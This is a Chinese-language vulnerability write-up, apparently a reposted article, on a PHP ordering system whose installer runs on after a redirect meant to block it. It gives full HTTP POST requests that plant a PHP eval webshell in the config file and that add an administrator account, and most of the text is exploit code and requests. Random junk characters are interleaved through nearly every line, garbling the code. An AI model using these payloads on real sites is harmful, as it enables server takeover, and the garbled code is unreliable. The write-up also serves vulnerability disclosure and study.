问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。( S3 Q' z9 ?. e& o; v
$ ^9 X( Z7 N/ M5 S
<?php
. h6 b1 \! f1 d: U3 u0 L: S2 V2 Yif(file_exists("../install.lock"))/ S, A t2 p0 l
{, g- u7 c/ r, V6 t" {5 e
header("Location: ../");//没有退出
$ r4 O! D) u9 K) W5 a}( V' b4 U! z# \6 [
- L+ ~8 c; m1 f9 G
//echo 'tst';exit;
5 n* M. o! U# b% Erequire_once("init.php");! b0 q7 g7 q( ^+ a4 d7 Z
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)3 U* m. @. e7 E% u
{$ z+ o6 Y2 }; E: g
可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。( `* u. b: a* `9 d# |
7 d( m: r4 V5 U6 b
1、getshell(很危险)
8 \. p. B4 {8 p( h. Uif(empty($_REQUEST['step']) || $_REQUEST['step']==1)
1 s: j4 M2 \! F0 M1 f{
2 V8 L4 h) s1 {" @* L3 W- [7 ~+ P$smarty->assign("step",1);
4 c2 q, ^% J" X8 @$smarty->display("index.html");/ P, [( _! |$ s# ]
}elseif($_REQUEST['step']==2)6 K! O. V) o0 C+ O) }* c
{& a0 [) |' z7 e6 b, O. N
$mysql_host=trim($_POST['mysql_host']); k7 @6 t9 N7 n0 q/ E, e+ ]) R
$mysql_user=trim($_POST['mysql_user']);5 ~/ \$ @/ G K' T+ s
$mysql_pwd=trim($_POST['mysql_pwd']);
$ r7 B$ c) ^7 i0 s; x6 D( q0 M! F" n $mysql_db=trim($_POST['mysql_db']);9 @, q& ~. |3 d# O
$tblpre=trim($_POST['tblpre']);# ^/ T- ^, D9 {! x7 Q; W* Q6 g1 t$ [- M
$domain==trim($_POST['domain']);
2 _, ]5 `) `! y1 H/ I8 Q6 X. ` $str="<?php \r\n";7 |( J' G% G* b, e8 _4 U
$str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";# ^5 s, t# ?# C. ?. i' H9 B1 n. I
$str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";9 R. h6 H9 ?" P6 o
$str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";5 w. X/ H8 i0 n+ }
$str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n"; G) {! w# O6 b2 R2 U3 T( w8 x
$str.='define("MYSQL_CHARSET","GBK");'."\r\n";
: S: U! c# H4 J3 Y. X) D $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
9 y. [' ? F7 g) }( w4 d' N $str.='define("DOMAIN","'.$domain.'");'."\r\n";. i: b) S8 }' `" |$ G6 {
$str.='define("SKINS","default");'."\r\n";
, \* r X. `6 M $str.='?>';
" g8 G' h4 o$ V file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件
! f. U& [/ K3 \上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马
9 j0 d) X% z8 ~ @9 `: h: A. rPOST /canting/install/index.php?m=index&step=2 HTTP/1.1
Q5 Y+ x# \2 j9 p) kHost: 192.168.80.129. s0 v: {, r3 o1 `( C9 N
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
' W$ d9 w: a$ `( cAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
0 a! E! ~; M$ eAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3$ b. d7 j2 [! L
Accept-Encoding: gzip, deflate* ?* W& ^/ \. z
Referer: http://192.168.80.129/canting/install/index.php?step=1+ h, k. d F. z: a9 {/ h' H
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42+ L: T/ A4 U& f+ |! G
Content-Type: application/x-www-form-urlencoded
; y. r/ A7 F5 IContent-Length: 126. } I' y0 x7 Y5 {, U. k$ L# n; D
! t" \4 D* |! w: R: q6 v; dmysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
, ?. `: ] L. d; E$ ]) b但是这个方法很危险,将导致网站无法运行。# S1 l- v" ^7 _3 e
9 R4 f/ e4 w' c8 g9 M
2、直接添加管理员2 C8 w5 @ \- [/ S
$ c/ u2 Y/ I; O' i4 }elseif($_REQUEST['step']==5), Z# Q6 W% |" N6 W
{
0 L& y. Y1 L4 Q& y if($_POST)7 c7 V4 ~ @$ I
{ require_once("../config/config.inc.php");
N5 b5 K' H, ^7 N, V8 F $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);! _& `) Q4 N5 g" y" w$ N& ~! |
mysql_select_db(MYSQL_DB,$link);
9 v: n) C, f$ \4 j& F8 E& t! H mysql_query("SET NAMES ".MYSQL_CHARSET );
$ o( b# r5 ~ t! y- J5 W# v mysql_query("SET sql_mode=''");7 A$ d) e! B& M. u
5 [: R5 D T# b" B4 B7 E9 k3 o $adminname=trim($_POST['adminname']);! ~# g, W6 U/ O
$pwd1=trim($_POST['pwd1']);
' |. e0 v% d. y& W8 q3 x $pwd2=trim($_POST['pwd2']);* E5 {3 g" c) k
if(empty($adminname))
* l- L; v- A* g {3 _8 P( w( u$ V6 I3 w
% i5 g( \7 T) P/ t2 R1 z echo "<script>alert('管理员不能为空');history.go(-1);</script>";
# M8 e9 U1 [" P' d# B exit();+ P% |) ]; y( ], \$ H9 y) X n$ M
}; z. L' j3 M. D# o! F
if(($pwd1!=$pwd2) or empty($pwd1))- I; C/ S7 c" _$ @6 a, K
{
4 ?0 o& S% Q h) o; w; g. X echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出. c0 l$ `2 T# N( f
}
( Q6 }& b! c! x4 e& a( a1 f mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员; I; x$ H: T) _; h
}) S6 \6 U" j. p$ B& r( B
这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:$ B7 H- m1 u3 t8 {$ `9 u: [) q. E
POST /canting/install/index.php?m=index&step=5 HTTP/1.1
! j9 d) z5 E# w WHost: 192.168.80.129
1 g) H, m1 H! r9 i, f7 bUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
+ S- R$ I: v4 j) x& |3 J, OAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.89 ]* n2 t/ S0 {7 {
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
) ~1 B) D+ q" B4 L- Z" wAccept-Encoding: gzip, deflate. z: R9 K8 U2 F$ ]
Referer: http://www.2cto.com /canting/install/index.php?step=1; R5 K: R$ B' Y- z/ B
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
( [+ ~9 H3 B" Q/ g0 |+ P0 r4 YContent-Type: application/x-www-form-urlencoded- e8 ~/ i: y$ v" S; X
Content-Length: 46" a* A# f0 C) m' L2 g# _
: L; N4 [# K; |" _
adminname=qingshen&pwd1=qingshen&pwd2=qingshen
) {/ {7 ~3 t( Q |